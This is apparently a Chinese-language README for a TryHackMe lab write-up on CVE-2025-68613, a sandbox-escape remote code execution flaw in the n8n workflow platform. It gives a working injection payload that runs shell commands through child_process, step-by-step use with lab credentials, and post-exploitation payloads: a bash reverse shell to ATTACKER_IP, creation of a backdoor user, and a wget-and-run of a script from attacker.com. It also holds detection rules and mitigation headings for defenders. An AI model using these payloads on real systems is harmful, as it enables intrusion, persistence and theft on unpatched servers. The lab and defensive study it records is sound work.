本仓库记录了对 CVE-2025-68613 (CVSS 9.9) 的实操利用过程,该漏洞是影响 n8n 工作流自动化平台(版本 0.211.0 至 1.120.3)的一个严重远程代码执行漏洞。
此次利用在受控的 TryHackMe 实验环境中 遵循道德规范 执行,仅用于教育目的。
| 字段 | 值 |
|---|---|
| CVE ID | CVE-2025-68613 |
| CVSS 分数 | 9.9(严重) |
| 公开日期 | 2025年12月19日 |
| 受影响产品 | n8n 工作流自动化平台 |
| 漏洞类型 | 表达式注入 → 沙箱逃逸 → 远程代码执行 |
| 攻击向量 | 已认证用户(默认) |
| 修复版本 | 1.120.4, 1.121.1, 1.122.0+ |
| 受影响版本 | 0.211.0 - 1.120.3 |
n8n 是一个开源的工作流自动化平台,允许用户通过可视化方式连接应用和服务以实现任务自动化。其特性包括:
{{ }} 中的动态表达式作为 JavaScript 求值该漏洞存在于 n8n 的 工作流表达式求值系统 中。当已认证用户配置工作流时,其输入会被当作 JavaScript 代码处理,但缺乏足够的沙箱隔离。
表达式沙箱
↓(通过 'this' 逃逸)
Node.js 全局上下文
↓(访问 mainModule)
模块系统 (require)
↓(加载 child_process)
系统命令执行
{{ }} 中的用户表达式在没有适当上下文隔离的情况下被作为原始 JavaScript 求值this 对象的访问允许从预期的沙箱限制中逃逸process.mainModule.require() 提供了对 Node.js 模块系统的访问child_process 模块以执行系统命令(function(){
return this.process.mainModule.require('child_process').execSync('COMMAND').toString()
})()
说明:
this → Node.js 全局对象this.process → Node.js 进程对象process.mainModule → n8n 应用的根模块.require('child_process') → 加载系统命令执行模块.execSync('COMMAND') → 同步执行 shell 命令.toString() → 将 Buffer 输出转换为可读字符串访问易受攻击的 n8n 实例并使用有效凭据登录。
实验凭据:
[email protected]Try12345!
登录后,您会看到工作流创建界面。点击“从头开始”以创建新工作流。

点击“添加第一步”并搜索“手动触发器”。该节点作为工作流执行的入口点。

目的: 手动触发器节点允许通过 UI 中的“执行工作流”按钮手动执行工作流,非常适合测试。
添加“编辑字段”节点以进行字段映射。这是漏洞被利用的位置。

配置步骤:
注入载荷以执行 id 命令并获取用户/权限信息。
载荷:
(function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })()
结果:
uid=1000(node) gid=1000(node) groups=1000(node)

获取的信息:
修改载荷以执行 ls 命令并列出目录内容。
载荷:
(function(){ return this.process.mainModule.require('child_process').execSync('ls -la').toString() })()

输出显示:
flag.txt使用 cat 命令读取 flag 文件,完成利用。
载荷:
(function(){ return this.process.mainModule.require('child_process').execSync('cat flag.txt').toString() })()
获取的 Flag:
THM{n8n_exposed_workflow}

建立交互式 Shell 访问以实现持久控制:
(function(){
return this.process.mainModule.require('child_process').execSync('bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1').toString()
})()
添加系统用户以实现持久访问:
(function(){
return this.process.mainModule.require('child_process').execSync('useradd -m -p $(openssl passwd -1 PASSWORD) backdoor').toString()
})()
获取并执行远程代码:
(function(){
return this.process.mainModule.require('child_process').execSync('wget http://attacker.com/malware.sh -O /tmp/malware.sh && bash /tmp/malware.sh').toString()
})()
检查 sudo 权限:
(function(){
return this.process.mainModule.require('child_process').execSync('sudo -l').toString()
})()
提取环境变量:
(function(){
return this.process.mainModule.require('child_process').execSync('env').toString()
})()
配置代理以记录请求主体用于分析:
http {
log_format detailed '$remote_addr - $remote_user [$time_local] '
'"$request" $status $body_bytes_sent '
'"$http_referer" "$http_user_agent" '
'Request-Body: "$request_body" '
'Duration: $request_time s';
access_log /var/log/nginx/detailed_access.log detailed;
}
通过工作流 API 请求检测利用尝试:
title: CVE-2025-68613 - n8n 表达式注入远程代码执行
logsource:
category: web_application_firewall
detection:
keywords:
- "process.mainModule.require"
- "child_process"
- "execSync"
condition: keywords
filter:
field: uri_path
value: "/rest/workflows"
method: POST
监控由 n8n 产生的可疑子进程:
/root/.n8n/logs//var/log/auth.log, /var/log/syslogprocess.mainModulerequire('child_process')execSync 或 spawn更新 n8n 至已修复版本:
限制网络访问
强身份认证
监控与日志
输入验证与清理
沙箱实现
最小权限原则
代码审查与安全测试
本文档仅用于 教育和授权安全测试目的。所描述的利用技术旨在:
未经授权访问计算机系统是 非法的。请始终在进行安全测试前获得适当的书面授权。
.
├── README.md # 本文件
├── exploitation-details.md # 技术深度剖析指南
├── screenshots/
│ ├── 01-login.png
│ ├── 02-Welcome.png
│ ├── 03-Manual_Trigger.png
│ ├── 04-Workflow-setup.png
│ ├── 05-rce_id.png
│ ├── 06-Change_id_ls.png
│ └── rce_cat_flag.png
└── notes/
└── exploitation-details.md
此 writeup 记录了在 TryHackMe 实验环境中成功利用 CVE-2025-68613 的过程。该漏洞凸显了安全代码求值的重要性以及自动化平台中沙箱实现不足的危险性。
理解此漏洞有助于攻击安全团队识别类似问题,也有助于防御团队制定更有效的检测策略。
| 步骤 | 操作 | 时间 |
|---|
| 1 | 访问 n8n 实例 | 秒 |
| 2 | 创建/修改工作流 | < 1 分钟 |
| 3 | 添加字段映射节点 | < 1 分钟 |
| 4 | 注入并执行 id 命令 | < 30 秒 |
| 5 | 使用 ls 枚举文件系统 | < 1 分钟 |
| 6 | 使用 cat 提取数据 | < 30 秒 |
| 总计 | 完整远程代码执行利用 | < 5 分钟 |